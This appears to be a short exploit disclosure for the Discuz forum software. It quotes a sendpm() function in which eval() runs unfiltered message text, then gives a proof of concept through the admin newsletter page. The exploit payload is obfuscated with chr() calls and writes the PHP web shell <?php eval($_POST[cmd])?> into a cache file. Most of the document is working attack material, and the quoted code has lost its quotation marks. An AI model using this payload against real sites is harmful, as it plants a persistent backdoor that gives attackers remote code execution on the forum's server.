by:alibaba

global.func.php
function sendpm($toid, $subject, $message, $fromid = ) { 02         if($fromid === ) {
03               require_once DISCUZ_ROOT../uc_client/client.php;
04               $fromid = $discuz_uid;
05         }
06         if($fromid) {
07               uc_pm_send($fromid, $toid, $subject, $message);
08         } else {
09               global $promptkeys;
10               if(in_array($subject, $promptkeys)) {
11                        $type = $subject;
12               } else {
13                        extract($GLOBALS, EXTR_SKIP);
14                        require_once DISCUZ_ROOT../include/discuzcode.func.php;
15                        eval("$message = addslashes("".$message."");"); //无过滤，可插入代码
16                        $type = systempm;
17                        $message = <div>.$subject. {time}.discuzcode($message, 1, 0).</div>;
18               }
19               sendnotice($toid, $message, $type);
20         }
21 }

POC： 1. admincp.php?frames=yes&action=members&operation=newsletter 2. 发短消息，通知内容为：{${phpinfo()}}  EXP - (fputs(fopen(forumdata/cache/cache_01.php,w),<?php eval($_POST[cmd])?>);) :  ${${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(95).chr(48).chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}